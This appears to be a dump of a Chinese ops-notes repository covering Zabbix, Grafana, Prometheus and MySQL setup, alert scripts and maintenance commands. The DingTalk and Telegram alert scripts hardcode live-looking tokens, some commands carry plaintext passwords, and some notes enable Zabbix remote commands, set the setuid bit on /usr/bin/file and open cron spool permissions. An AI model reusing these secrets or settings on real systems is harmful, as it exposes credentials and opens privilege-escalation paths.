![consul-05](https://github.com/Lancger/opslinux/blob/master/images/consul-05.png) 16 | 17 | 18 | ![consul-06](https://github.com/Lancger/opslinux/blob/master/images/consul-06.png) 19 | -------------------------------------------------------------------------------- /monitor/Grafana/1.grafana展示prometheus数据.md: -------------------------------------------------------------------------------- 1 | # 一、大屏展示 2 | 3 | ![variables](https://github.com/Lancger/opslinux/blob/master/images/grafana-pro-02.png) 4 | 5 | 6 | # 二、grafna variables变量 7 | 8 | ![variables](https://github.com/Lancger/opslinux/blob/master/images/grafana-pro.png) 9 | 10 | 11 | # 三、Prometheus核对数据 12 | 13 | ![variables](https://github.com/Lancger/opslinux/blob/master/images/grafana-pro-01.png) 14 | 15 | -------------------------------------------------------------------------------- /monitor/Grafana/2.grafana展示zabbix跟consul结合数据.md: -------------------------------------------------------------------------------- 1 | # 一、grafna展示consule数据源配置 2 | 3 | ## 1.1、consule数据源配置 4 | 5 | ![grafna-consul](https://github.com/Lancger/opslinux/blob/master/images/grafana-consul-01.png) 6 | 7 | ## 1.2、consule数据数据菜单 8 | 9 | 优势:能自定义多级层级关系,属于哪个环境,属于哪个业务线,然后consule的数据,可以手动写,也可以通过读取基础系统cmdb的接口,把服务器的层级信息通过api写入到consule 10 | 11 | ![zabbix_consul1](https://github.com/Lancger/opslinux/blob/master/images/grafana-zabbix-consul-01.png) 12 | 13 | ![zabbix_consul2](https://github.com/Lancger/opslinux/blob/master/images/grafana-zabbix-consul-02.png) 14 | 15 | ![zabbix_consul3](https://github.com/Lancger/opslinux/blob/master/images/grafana-zabbix-consul-03.png) 16 | 17 | ![zabbix_consul4](https://github.com/Lancger/opslinux/blob/master/images/grafana-zabbix-consul-04.png) 18 | 19 | ![zabbix_consul5](https://github.com/Lancger/opslinux/blob/master/images/grafana-zabbix-consul-05.png) 20 | 21 | ![zabbix_consul6](https://github.com/Lancger/opslinux/blob/master/images/grafana-zabbix-consul-06.png) 22 | 23 | # 二、grafna直接展示zabbix分组数据 24 | 25 | (只有一个层级关系,没有多级层级,例如属于哪个环境,属于哪个项目等,直接使用zabbix的分组) 26 | 27 | ![zabbix_3](https://github.com/Lancger/opslinux/blob/master/images/grafana-zabbix-03.png) 28 | 29 | ## 2.1、zabbix展示单机指标数据 30 | 31 | ![zabbix_one](https://github.com/Lancger/opslinux/blob/master/images/grafana-zabbix-01.png) 32 | 33 | ## 2.2、zabbix展示多机指标数据 34 | 35 | ![zabbix_many](https://github.com/Lancger/opslinux/blob/master/images/grafana-zabbix-02.png) 36 | -------------------------------------------------------------------------------- /monitor/Grafana/README.md: -------------------------------------------------------------------------------- 1 | grafna api 接口 2 | 3 | 联动变更发布,分析问题 4 | 5 | https://grafana.com/docs/reference/annotations/ 6 | 7 | https://www.jianshu.com/p/7e7e0d06709b Grafana图标设置大全 8 | 9 | 1、grafna变量的引用 10 | 11 | ![prometheus_pushgateway](https://github.com/Lancger/opslinux/blob/master/images/grafna-load.jpg) 12 | 13 | 2、点击下方的Toggle legend即可折叠 14 | 15 | ![prometheus_pushgateway](https://github.com/Lancger/opslinux/blob/master/images/grafna-load-2.jpg) 16 | -------------------------------------------------------------------------------- /monitor/Prometheus/6.prometheus自定义脚本暴露指标.md: -------------------------------------------------------------------------------- 1 | 参考文档: 2 | 3 | https://prometheus.io/docs/instrumenting/clientlibs/ 4 | 5 | https://github.com/prometheus/client_python 脚本发给pushgateway暴露指标 or 自定义exporter暴露指标 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /monitor/Prometheus/Centos7.5/1.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /monitor/Prometheus/Grafana+Prometheus系统监控之钉钉报警功能.md: -------------------------------------------------------------------------------- 1 | 2 | 介绍 3 | 4 | 钉钉,阿里巴巴出品,专为中国企业打造的免费智能移动办公平台,含PC版,Web版和手机版。智能办公电话,消息已读未读,DING消息任务管理,让沟通更高效;移动办公考勤,签到,审批,企业邮箱,企业网盘,企业通讯录,让工作更简单;酷公司,用钉钉,随时随地移动办公。 5 | 6 | 由于目前的版本邮件警报暂时走不通,然而钉钉也是一个不错的选择。 7 | 8 | 9 | ``` 10 | touch /var/test 11 | time dd if=/dev/zero of=/var/test bs=8k count=1000000 12 | ``` 13 | 参考文档: 14 | 15 | https://blog.52itstyle.vip/archives/2029/ Grafana+Prometheus系统监控之钉钉报警功能 16 | -------------------------------------------------------------------------------- /monitor/Prometheus/Promethes-HA/1.md: -------------------------------------------------------------------------------- 1 | 参考资料 2 | 3 | http://b2d05bb6.wiz03.com/share/s/2OQ5KS33QAEV2Dn_mE22LriC1SzOUV0XSA2F2Ur14w0LWeOu 4 | -------------------------------------------------------------------------------- /monitor/Prometheus/Scripts_install/README.md: -------------------------------------------------------------------------------- 1 | 使用方法 2 | 3 | ./all_os_install_node_export.sh 4 | -------------------------------------------------------------------------------- /monitor/Prometheus/Scripts_install/node_exporter.service.sh: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=node_exporter 3 | Documentation=https://prometheus.io/ 4 | After=network.target 5 | 6 | [Service] 7 | Type=simple 8 | User=prometheus 9 | ExecStart=/usr/local/prometheus/node_exporter/node_exporter 10 | Restart=on-failure 11 | 12 | [Install] 13 | WantedBy=multi-user.target 14 | -------------------------------------------------------------------------------- /monitor/zabbix/Capacity_Manage/README.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /monitor/zabbix/README.md: -------------------------------------------------------------------------------- 1 | # 一、未修改之前(忘记登录密码) 2 | ``` 3 | [root@abcdocker ~]# mysql -uroot -p -e "select * from zabbix.users\G" 4 | Enter password: 5 | *************************** 1. row *************************** 6 | userid: 1 7 | alias: Admin 8 | name: Zabbix 9 | surname: Administrator 10 | passwd: ab66b6e18854fa4d45499d0a04a47b64 11 | url: 12 | autologin: 1 13 | autologout: 0 14 | lang: en_GB 15 | refresh: 30 16 | type: 3 17 | theme: default 18 | attempt_failed: 0 19 | attempt_ip: 14.130.112.2 20 | attempt_clock: 1501141026 21 | rows_per_page: 50 22 | 23 | ``` 24 | 25 | # 二、修改登录密码 26 | ``` 27 | [root@abcdocker ~]# mysql -uroot -p 28 | 由于密码是md5加密的,我们可以查看默认的zabbix密码的md5 29 | mysql> use zabbix; 30 | mysql> update users set passwd='5fce1b3e34b520afeffb37ce08c7cd66' where userid='1'; 31 | Query OK, 1 row affected (0.01 sec) 32 | Rows matched: 1 Changed: 1 Warnings: 0 33 | 解释:5fce1b3e34b520afeffb37ce08c7cd66 = zabbix 34 | 因为zabbix默认密码就是zabbix 35 | ``` 36 | 37 | 38 | 参考资料: 39 | 40 | https://www.centos.bz/2017/08/zabbix-forget-password-reset/ ZABBIX忘记登录密码重置方法 41 | 42 | https://www.cnblogs.com/sky-k/p/9367186.html Zabbix编译安装(全) 43 | -------------------------------------------------------------------------------- /monitor/zabbix/ubuntu/README.md: -------------------------------------------------------------------------------- 1 | ``` 2 | cd /tmp/ 3 | wget http://repo.zabbix.com/zabbix/4.2/ubuntu/pool/main/z/zabbix-release/zabbix-release_4.2-1%2Btrusty_all.deb 4 | dpkg -i zabbix-release_4.2-1+trusty_all.deb 5 | sudo apt-get update 6 | sudo apt-get install zabbix-agent 7 | 8 | 9 | cat > /etc/zabbix/zabbix_agentd.conf << \EOF 10 | PidFile=/var/run/zabbix/zabbix_agentd.pid 11 | LogFile=/var/log/zabbix-agent/zabbix_agentd.log 12 | LogFileSize=0 13 | DebugLevel=2 14 | Server=192.168.52.133 15 | ServerActive=192.168.52.133 16 | EnableRemoteCommands=1 17 | UnsafeUserParameters=1 18 | HostnameItem=system.run[echo $(hostname)] 19 | HostMetadataItem=system.uname 20 | Include=/etc/zabbix/zabbix_agentd.conf.d/*.conf 21 | EOF 22 | 23 | service zabbix-agent restart 24 | ``` 25 | -------------------------------------------------------------------------------- /monitor/zabbix/v4.0/ monitor_component/monitor_disk/zabbix自动发现并监控磁盘iops.md: -------------------------------------------------------------------------------- 1 | # 一、安装依赖(simplejson) 2 | ``` 3 | cd /tmp/ 4 | wget --no-check-certificate https://bootstrap.pypa.io/get-pip.py 5 | python get-pip.py 6 | pip install --upgrade pip --trusted-host mirrors.aliyun.com -i https://mirrors.aliyun.com/pypi/simple/ 7 | pip install --upgrade setuptools==30.1.0 8 | pip install simplejson --trusted-host mirrors.aliyun.com -i https://mirrors.aliyun.com/pypi/simple/ 9 | ``` 10 | 11 | 12 | 参考资料: 13 | 14 | https://github.com/grundic/zabbix-disk-performance 15 | -------------------------------------------------------------------------------- /monitor/zabbix/v4.0/ monitor_component/monitor_log/zabbix监控日志多关键字.md: -------------------------------------------------------------------------------- 1 | # 一、权限测试 2 | ``` 3 | sudo -u zabbix cat /opt/tomcat-8081-taskjob/logs/catalina.2019-05-21.out 4 | ``` 5 | 6 | ``` 7 | 表达式:{zabbix:log[/etc/zabbix/a.log,"ERROR|error",,,skip,,].iregexp(ERROR|error)}=1 and {zabbix:log[/etc/zabbix/a.log,"ERROR|error",,,skip,,].nodata(60)}=0 8 | 9 | 拆开解析:{zabbix:log[/etc/zabbix/a.log,"ERROR|error",,,skip,,].iregexp(ERROR|error)}=1 ,iregexp(ERROR|error)}=1 意味着如果匹配到ERROR和error关键字其中一个就告警,iregexp意味着正则表达式匹配。 10 | 11 | {zabbix:log[/etc/zabbix/a.log,"ERROR|error",,,skip,,].nodata(60)}=0,nodata(60)}=0 意味着如果60秒内有数据产生则表达式为真,即60秒内如果没有新数据了,则表达式为假,以防一直采集原有的关键字,不是采集新生成的关键字(重要) 12 | 13 |       and表示同时满足两个条件,触发器才会触发。 14 | ``` 15 | 16 | 参考资料: 17 | 18 | https://www.cnblogs.com/ultranms/p/9523721.html zabbix3.4.7主动模式监控日志(多关键字) 19 | 20 | 21 | https://blog.csdn.net/achenyuan/article/details/87687236 zabbix4.0学习六:Zabbix监控日志 22 | -------------------------------------------------------------------------------- /monitor/zabbix/v4.0/ monitor_component/monitor_redis/README.md: -------------------------------------------------------------------------------- 1 | # 自动发现并监控redis实例 2 | 3 | 参考资料: 4 | 5 | https://github.com/pavelnemirovsky/zabbix-redis-template 6 | 7 | 8 | https://github.com/cuimingkun/zbx_tem_redis 9 | -------------------------------------------------------------------------------- /monitor/zabbix/v4.0/ monitor_component/monitor_system/Zabbix trapper方式监控进程是否被重启.md: -------------------------------------------------------------------------------- 1 | # 一、服务脚本 2 | 3 | monitor_touch_process.sh 4 | 5 | ``` 6 | #!/bin/bash 7 | 8 | cd `dirname $0` 9 | 10 | check_all(){ 11 | schedule_ret=0 12 | i=0 13 | while [ $i -lt 5 ] 14 | do 15 | i=$(($i+1)) 16 | schedule_ret=`ps -ef | grep touch | grep -v grep > /dev/null 2>&1 && echo $?` 17 | if [ -z $schedule_ret ] ;then 18 | sleep 1 19 | continue 20 | fi 21 | /usr/bin/zabbix_sender -c /etc/zabbix/zabbix_agentd.conf -k scheduler.alive -o 1 -s node1 22 | break; 23 | done 24 | 25 | datetime=`date +'%Y%m%d %H:%M:%S'` 26 | if [ -z $schedule_ret ] ;then 27 | echo "scheduler was started at $datetime..." >> /usr/local/touch/log/start.log 28 | /usr/bin/zabbix_sender -c /etc/zabbix/zabbix_agentd.conf -k scheduler.alive -o 0 -s node1 29 | cd /usr/local/touch/bin && ./start_touch.sh 30 | exit 0 31 | fi 32 | } 33 | 34 | check_all 35 | ``` 36 | 37 | # 二、定时任务 38 | ``` 39 | * * * * * /usr/bin/monitor_touch_process.sh > /dev/null 2>&1 40 | ``` 41 | -------------------------------------------------------------------------------- /monitor/zabbix/v4.0/ monitor_component/monitor_system/monitoring_cus_connections.md: -------------------------------------------------------------------------------- 1 | ## 一、zabbix-agentd配置文件 2 | ``` 3 | [root@web01 zabbix_agentd.d]# cat count_sn.conf 4 | ################ 5 | #Author: Lancger 6 | ################ 7 | UserParameter=user.auto.login.count,ps -ef|grep -w ssh|grep -v grep|awk '{print $NF}'|wc -l 8 | 9 | 10 | # 运行示例 11 | [root@web01 zabbix_agentd.d]# ps -ef|grep -w ssh|grep -v grep|awk '{print $NF}'|wc -l 12 | 1 13 | ``` 14 | 15 | ## 二、zabbix监控页面配置 16 | 17 | ![zabbix监控自定义连接数01](https://github.com/Lancger/opslinux/blob/master/images/zabbix-monitors-01.png) 18 | 19 | ## 三、zabbix日志检查数据是否上报ok 20 | 这里发现数据上报ok 21 | ``` 22 | [root@web01 zabbix_agentd.d]# tail -100f zabbix_agentd.log|grep auto 23 | 24 | 8206:20181224:142309.131 for key [user.auto.login.count] received value [1] 25 | 8206:20181224:142309.131 In process_value() key:'web01:user.auto.login.count' value:'1' 26 | "key":"user.auto.login.count", 27 | "key":"user.auto.login.count", 28 | 8206:20181224:142334.149 In add_check() key:'user.auto.login.count' refresh:60 lastlogsize:0 mtime:0 29 | ``` 30 | 31 | ## 四、页面检查数据 32 | 33 | ![zabbix监控自定义连接数02](https://github.com/Lancger/opslinux/blob/master/images/zabbix-monitors-02.png) 34 | -------------------------------------------------------------------------------- /monitor/zabbix/v4.0/ monitor_component/monitor_system/monitoring_start_time.md: -------------------------------------------------------------------------------- 1 | # 一、监控应用启动时间 2 | ``` 3 | root># ps -eo pid,lstart | grep `ps -ef|grep -v grep|grep java|grep tomcat-trade|awk '{print $2}'` 4 | 24514 Wed Dec 19 22:51:22 2018 5 | ``` 6 | 7 | -------------------------------------------------------------------------------- /monitor/zabbix/v4.0/ monitor_component/monitor_system/zabbix监控定时任务.md: -------------------------------------------------------------------------------- 1 | # 一、提示无权限 2 | 3 | ``` 4 | ll /var/spool/ 5 | 6 | drwx------. 2 root root 4096 May 20 11:33 cron 7 | ``` 8 | 9 | # 二、解决办法 10 | ``` 11 | chmod 755 /var/spool/cron 12 | 13 | chmod 644 /var/spool/cron/root 14 | ``` 15 | 16 | # 三、批量处理 17 | ``` 18 | salt "*" cmd.run "touch /var/spool/cron/root && chmod 755 /var/spool/cron && chmod 644 /var/spool/cron/root" 19 | ``` 20 | 21 | # 四、测试验证 22 | ``` 23 | zabbix_get -s 192.168.52.188 -k "vfs.file.cksum[/var/spool/cron/root]" 24 | ``` 25 | -------------------------------------------------------------------------------- /monitor/zabbix/v4.0/ monitor_component/monitor_system/zabbix监控文件是否被篡改.md: -------------------------------------------------------------------------------- 1 | # 一、安装zabbix-get测试 2 | ``` 3 | wget http://repo.zabbix.com/zabbix/2.4/rhel/6/x86_64/zabbix-get-2.4.8-1.el6.x86_64.rpm 4 | 5 | rpm -Uvh zabbix-get-2.4.8-1.el6.x86_64.rpm 6 | 7 | zabbix_get -s 10.33.99.21 -p 10050 -k "vfs.file.cksum[/var/spool/cron/root]" 8 | 9 | 2281612052 10 | ``` 11 | # 二、注意事项 12 | 13 | ``` 14 | #测试zabbix用户是否有权限执行file 15 | #root文件zabbix用户需要能读 16 | 17 | /usr/bin/sudo -u zabbix /usr/bin/file /var/spool/cron/root 18 | 19 | chattr -i /var/spool/cron/root 20 | 21 | chmod u+s /usr/bin/file 22 | 23 | chmod 755 -R /var/spool/ 24 | 25 | /var/spool/cron/ 目录的权限要为755 26 | ``` 27 | 28 | 参看资料: 29 | 30 | http://www.ttlsa.com/zabbix/zabbix-key-not-supported/ 31 | -------------------------------------------------------------------------------- /monitor/zabbix/v4.0/ monitor_component/monitor_system/zabbix监控防火墙运行状态.md: -------------------------------------------------------------------------------- 1 | 参考文档: 2 | 3 | https://www.cnblogs.com/zyos/p/10102876.html 4 | -------------------------------------------------------------------------------- /monitor/zabbix/v4.0/actions/zabbix_trigger配置.md: -------------------------------------------------------------------------------- 1 | # 一、触发器设置 2 | 3 | ![触发器01](https://github.com/Lancger/opslinux/blob/master/images/zabbix_trigger_01.png) 4 | 5 | 6 | ![触发器02](https://github.com/Lancger/opslinux/blob/master/images/zabbix_trigger_02.png) 7 | 8 | 9 | ![触发器03](https://github.com/Lancger/opslinux/blob/master/images/zabbix_trigger_03.png) 10 | 11 | ``` 12 | #默认操作步骤持续时间 13 | 1h 14 | 15 | #默认标题 16 | 服务器:{HOST.NAME}发生: {TRIGGER.NAME}故障! 17 | 18 | #消息内容 19 | 当前状态:{TRIGGER.STATUS} 20 | 告警主机:{HOST.NAME} 21 | 告警地址:{HOST.IP} 22 | 监控项目:{ITEM.NAME} 23 | 监控取值:{ITEM.LASTVALUE} 24 | 告警等级:{TRIGGER.SEVERITY} 25 | 告警信息:{TRIGGER.NAME} 26 | 告警时间:{EVENT.DATE} {EVENT.TIME} 27 | 事件ID:{EVENT.ID} 28 | ``` 29 | 30 | ![触发器04](https://github.com/Lancger/opslinux/blob/master/images/zabbix_trigger_04.png) 31 | 32 | ``` 33 | #默认标题 34 | 服务器:{HOST.NAME}: {TRIGGER.NAME}已恢复! 35 | 36 | #消息内容 37 | 当前状态:{TRIGGER.STATUS} 38 | 告警主机:{HOST.NAME} 39 | 告警地址:{HOST.IP} 40 | 监控项目:{ITEM.NAME} 41 | 监控取值:{ITEM.LASTVALUE} 42 | 告警等级:{TRIGGER.SEVERITY} 43 | 告警信息:{TRIGGER.NAME} 44 | 告警时间:{EVENT.DATE} {EVENT.TIME} 45 | 恢复时间:{EVENT.RECOVERY.DATE} {EVENT.RECOVERY.TIME} 46 | 持续时间:{EVENT.AGE} 47 | 事件ID:{EVENT.ID} 48 | ``` 49 | 50 | ![触发器05](https://github.com/Lancger/opslinux/blob/master/images/zabbix_trigger_05.png) 51 | 52 | 53 | ``` 54 | #默认标题 55 | 服务器:{HOST.NAME}: 报警确认 56 | 57 | #消息内容 58 | 确认人:{USER.FULLNAME} 59 | 时间:{ACK.DATE} {ACK.TIME} 60 | 确认信息如下: 61 | "{ACK.MESSAGE}" 62 | 问题服务器IP:{HOSTNAME1} 63 | 问题ID:{EVENT.ID} 64 | 当前的问题是: {TRIGGER.NAME} 65 | ``` 66 | 67 | -------------------------------------------------------------------------------- /monitor/zabbix/v4.0/actions/zabbix自动注册.md: -------------------------------------------------------------------------------- 1 | ## 一、设置自动注册 2 | ![自动注册01](https://github.com/Lancger/opslinux/blob/master/images/action-01.png) 3 | 4 | ![自动注册02](https://github.com/Lancger/opslinux/blob/master/images/action-02.png) 5 | 6 | ![自动注册03](https://github.com/Lancger/opslinux/blob/master/images/action-03.png) 7 | 8 | ``` 9 | #默认标题 10 | Auto registration: {HOST.HOST} 11 | 12 | #消息内容 13 | Host name: {HOST.HOST} 14 | Host IP: {HOST.IP} 15 | Agent port: {HOST.PORT} 16 | ``` 17 | 18 | ## 二、检查主机是否自动上报成功 19 | 20 | ![自动注册04](https://github.com/Lancger/opslinux/blob/master/images/action-04.png) 21 | -------------------------------------------------------------------------------- /monitor/zabbix/v4.0/add_user_group_user.md: -------------------------------------------------------------------------------- 1 | ## 一、新建用户分组 2 | 3 | ![创建分组01](https://github.com/Lancger/opslinux/blob/master/images/zabbix-group01.png) 4 | 5 | ![分组赋权01](https://github.com/Lancger/opslinux/blob/master/images/zabbix-group02.png) 6 | 7 | ## 二、新建用户 8 | 9 | ![新建用户01](https://github.com/Lancger/opslinux/blob/master/images/zabbix-add-user01.png) 10 | 11 | ![新建用户02](https://github.com/Lancger/opslinux/blob/master/images/zabbix-add-user02.png) 12 | 13 | ![新建用户03](https://github.com/Lancger/opslinux/blob/master/images/zabbix-add-user03.png) 14 | -------------------------------------------------------------------------------- /monitor/zabbix/v4.0/alert_scripts/zabbix_alert_dingding.md: -------------------------------------------------------------------------------- 1 | # 一、钉钉告警脚本dingding.py 2 | ``` 3 | #!/usr/bin/env python 4 | #coding:utf-8 5 | #zabbix钉钉报警 6 | import requests,json,sys,os,datetime 7 | webhook="https://oapi.dingtalk.com/robot/send?access_token=cb45835cbcfdb378d3bc2b82f172a47e8e9cd08c1f439192af19e96e936a1338" 8 | user=sys.argv[1] 9 | text=sys.argv[3] 10 | 11 | data={ 12 | "msgtype": "text", 13 | "text": { 14 | "content": text.replace('\r\n','\n') 15 | }, 16 | "at": { 17 | "atMobiles": [ 18 | user 19 | ], 20 | "isAtAll": False 21 | } 22 | } 23 | 24 | headers = {'Content-Type': 'application/json;charset=utf-8'} 25 | x=requests.post(url=webhook,data=json.dumps(data),headers=headers) 26 | 27 | if os.path.exists("/tmp/zabbix_dingding.log"): 28 | f=open("/tmp/zabbix_dingding.log","a+") 29 | else: 30 | f=open("/tmp/zabbix_dingding.log","w+") 31 | f.write("\n"+"--"*30) 32 | if x.json()["errcode"] == 0: 33 | f.write("\n"+str(datetime.datetime.now())+" "+str(user)+" "+"发送成功"+"\n"+str(text)) 34 | f.close() 35 | else: 36 | f.write("\n"+str(datetime.datetime.now()) + " " + str(user) + " " + "发送失败" + "\n" + str(text)) 37 | f.close() 38 | ``` 39 | 40 | # 二、测试 41 | ``` 42 | python dingding.py 1831313122 test "报警类容" 43 | 44 | pip install requests urllib3 pyOpenSSL --force --upgrade 45 | pip install --upgrade --force-reinstall 'requests==2.6.0' 46 | ``` 47 | 48 | 参考资料: 49 | 50 | https://www.cnblogs.com/kevingrace/p/9579282.html 分布式监控系统Zabbix3.4-钉钉告警配置记录 51 | -------------------------------------------------------------------------------- /monitor/zabbix/v4.0/alert_scripts/zabbix_alert_email.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /monitor/zabbix/v4.0/alert_scripts/zabbix_alert_telegram.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | import requests 5 | import json 6 | import sys 7 | 8 | TOKEN="904193186:AAFan97mHMyZJUXR1hmynWt4nq7j1Y7YX4k" 9 | 10 | def Send_Message(chat_id, Content): 11 | url="https://api.telegram.org/bot%s/sendMessage"%(TOKEN) 12 | data = { 13 | "chat_id": chat_id, 14 | "text": Content, 15 | } 16 | res = requests.post(url,json=data) 17 | return res.text 18 | 19 | 20 | 21 | if __name__ == '__main__': 22 | chat_id = sys.argv[1] 23 | Content = sys.argv[2] 24 | 25 | Send_Message(chat_id, Content) 26 | -------------------------------------------------------------------------------- /monitor/zabbix/v4.0/zabbbix4.0_proxy代理编译安装.md: -------------------------------------------------------------------------------- 1 | # 一、搭建环境介绍 2 | 3 | ``` 4 | centos 7 :8核16G 100G固态硬盘 5 | 6 | 内网地址:192.168.30.38 7 | 8 | ``` 9 | 10 | # 二、部署方法 11 | ``` 12 | 1、创建用户 13 | 14 | groupadd zabbix 15 | 16 | useradd -g zabbix -M -s /sbin/nologin zabbix 17 | 18 | 2、更新依赖包 19 | 20 | yum -y install mysql-devel curl curl-devel net-snmp net-snmp-devel 21 | 22 | 3、更改主机名 23 | 24 | hostnamectl set-hostname zabbix_proxy 25 | 26 | 192.168.30.38 zabbix_proxy 27 | 127.0.0.1 zabbix_proxy 28 | 29 | 4、下载安装包 30 | 31 | wget https://jaist.dl.sourceforge.net/project/zabbix/ZABBIX%20Latest%20Stable/3.2.11/zabbix-3.2.11.tar.gz 32 | 33 | 34 | 5、源码安装proxy服务 35 | 36 | tar -zxf zabbix-3.2.11.tar.gz 37 | 38 | cd zabbix-3.2.11 39 | 40 | ./configure --prefix=/usr/local/zabbix-proxy --enable-proxy --enable-agent --with-mysql --with-net-snmp --with-libcurl && make && make install && ll 41 | 42 | cd /usr/local/zabbix-proxy/etc/ && mv zabbix_proxy.conf zabbix_proxy.conf.bak && vi zabbix_proxy.conf 43 | ``` 44 | 45 | 参考资料 46 | 47 | https://blog.csdn.net/saga_gallon/article/details/83215037 zabbix_proxy代理服务器搭建教程 48 | -------------------------------------------------------------------------------- /monitor/zabbix/v4.0/zabbix_api测试.md: -------------------------------------------------------------------------------- 1 | # 一、zabbix_api登录认证 2 | ``` 3 | 测试 4 | curl -s -X POST -H 'Content-Type:application/json' -d '{ 5 | "jsonrpc": "2.0", 6 | "method": "user.login", 7 | "params": { 8 | "user": "Admin", 9 | "password": "123456" 10 | }, 11 | "id": 1 12 | }' http://192.168.52.100/zabbix/api_jsonrpc.php 13 | 14 | 结果 15 | {"jsonrpc":"2.0","result":"3bbbf0714fec0ec75cc35d65277b88f2","id":1} 16 | ``` 17 | 18 | 参考资料: 19 | 20 | https://www.cnblogs.com/Peter2014/p/7657480.html 21 | -------------------------------------------------------------------------------- /monitor/zabbix/zabbix自动发现指标的正则过滤.md: -------------------------------------------------------------------------------- 1 | ![zabbix——自动发现指标正则过滤](https://github.com/Lancger/opslinux/blob/master/images/zabbix_discovery.png) 2 | 3 | 4 | 5 | https://www.cnblogs.com/www1707/p/5640735.html Zabbix LLD 设置过滤条件,不自动监控某些item 6 | -------------------------------------------------------------------------------- /monitor/zabbix/在zabbix中实现发送带有图片的邮件和微信告警.md: -------------------------------------------------------------------------------- 1 | 参考文档: 2 | 3 | https://mp.weixin.qq.com/s?__biz=MzIyMDY2MTE3Mw==&mid=2247484979&idx=1&sn=2e030b5891264d8e7a5c0db473277557&chksm=97c9d2e9a0be5bff777423ed87bb00473744cf33fbd2f8b09254f85189ea0068f40a578257b1&mpshare=1&scene=23&srcid&sharer_sharetime=1573055277048&sharer_shareid=dbb98f0bb786b869d56cf7506c079a62%23rd 4 | -------------------------------------------------------------------------------- /monitor/zabbix/查询代理机器列表.md: -------------------------------------------------------------------------------- 1 | ``` 2 | #查询出所有代理机器的ID 3 | MySQL [zabbix]> select distinct proxy_hostid from hosts; 4 | +--------------+ 5 | | proxy_hostid | 6 | +--------------+ 7 | | NULL | 8 | | 10412 | 9 | | 10576 | 10 | | 10815 | 11 | | 11327 | 12 | | 11349 | 13 | | 11480 | 14 | | 11651 | 15 | | 11772 | 16 | | 11793 | 17 | | 12884 | 18 | | 13328 | 19 | +--------------+ 20 | 12 rows in set (0.00 sec) 21 | 22 | 23 | #找出代理机器的hostid 24 | MySQL [zabbix]> select hostid from hosts where host="zbx_pxy_proxy01"; 25 | +--------+ 26 | | hostid | 27 | +--------+ 28 | | 11480 | 29 | +--------+ 30 | 1 row in set (0.00 sec) 31 | 32 | #根据hostid找出代理管理的机器名 33 | select name from hosts where proxy_hostid="10412"; 34 | 35 | #查询结果导出到csv 36 | mysql -uroot -p***** -A zabbix -e "select name from hosts where proxy_hostid="11793";" > apps.csv 37 | ``` 38 | -------------------------------------------------------------------------------- /mysql/DDL/README.md: -------------------------------------------------------------------------------- 1 | # 一、下载安装二进制包 2 | 3 | 从 github 发布地址下载最新的 binary 包:https://github.com/github/gh-ost/releases 4 | ``` 5 | cd /usr/local/src 6 | export VER="1.0.48" 7 | wget https://github.com/github/gh-ost/releases/download/v${VER}/gh-ost-${VER}-1.x86_64.rpm 8 | 9 | rpm -Uvh gh-ost-1.0.48-1.x86_64.rpm 10 | 11 | [root@node1 src]# which gh-ost 12 | /usr/bin/gh-ost 13 | ``` 14 | 15 | # 二、修改mysql日志格式 16 | ``` 17 | mysql> show variables like 'binlog_format'; 18 | +---------------+-------+ 19 | | Variable_name | Value | 20 | +---------------+-------+ 21 | | binlog_format | ROW | 22 | +---------------+-------+ 23 | 1 row in set (0.00 sec) 24 | 25 | 26 | mysql> set global binlog_format="ROW"; 27 | ``` 28 | 29 | 30 | # 三、执行变更 31 | ``` 32 | gh-ost --user="root" --password="123456" --host=127.0.0.1 --database="change" --table="app_bandwidth" --alter="add last_repair_time INT(11) NOT NULL DEFAULT '0' COMMENT 'repair时间'" --allow-on-master --initially-drop-ghost-table --execute 33 | ``` 34 | 参考文档: 35 | 36 | https://www.cnblogs.com/zhoujinyi/p/9187421.html 37 | -------------------------------------------------------------------------------- /mysql/DDL/mysql清理数据释放空间.md: -------------------------------------------------------------------------------- 1 | #取30天之前的时间戳 2 | date -d $(date -d "-30 day" +%Y%m%d) +%s 3 | 4 | ------------------------------ 5 | MySQL操作命令: 6 | use galaxy_mc_data; 7 | DELETE FROM t_event_log_07 WHERE created_at < 1560268800; 8 | optimize table t_event_log_07; 9 | 10 | DELETE FROM t_event_log_05 WHERE created_at < 1560268800; 11 | optimize table t_event_log_05; 12 | 13 | DELETE FROM t_event_log_06 WHERE created_at < 1560268800; 14 | optimize table t_event_log_06; 15 | 16 | DELETE FROM t_event_log_03 WHERE created_at < 1560268800; 17 | optimize table t_event_log_03; 18 | 19 | DELETE FROM t_event_log_04 WHERE created_at < 1560268800; 20 | optimize table t_event_log_04; 21 | 22 | 23 | https://www.cnblogs.com/Camiluo/p/9996650.html 24 | -------------------------------------------------------------------------------- /mysql/MySQL语句和命令大全.md: -------------------------------------------------------------------------------- 1 | 参考资料: 2 | 3 | https://segmentfault.com/a/1190000019792483 4 | -------------------------------------------------------------------------------- /mysql/framework/MySQL-ProxySQL中间件.md: -------------------------------------------------------------------------------- 1 | 参考资料: 2 | 3 | https://mp.weixin.qq.com/s?__biz=MzI1OTU2MDA4NQ==&mid=2247489057&idx=1&sn=6aeee4fda85563b372047692353247d5&chksm=ea7651dbdd01d8cd9b855007c2865be2883b51ea43376398b8bf91d74a35b6f91c7106697c6d&mpshare=1&scene=23&srcid=#rd MySQL-ProxySQL中间件一 4 | 5 | https://mp.weixin.qq.com/s?__biz=MzI1OTU2MDA4NQ==&mid=2247489066&idx=1&sn=63928deb8ac572187371536038caa0c7&chksm=ea7651d0dd01d8c669299c99888ce02ef01aafec46a905d24c6a766eabedcddc2e9fff830e63&mpshare=1&scene=23&srcid=#rd MySQL-ProxySQL中间件二 6 | -------------------------------------------------------------------------------- /mysql/framework/专业的MySQL开发规范.md: -------------------------------------------------------------------------------- 1 | 参考资料: 2 | 3 | https://ops-coffee.cn/s/zfR5kn1tejVSiH-mireT3A 专业的MySQL开发规范 4 | -------------------------------------------------------------------------------- /mysql/framework/比较全面的MySQL优化参考(上篇).md: -------------------------------------------------------------------------------- 1 | 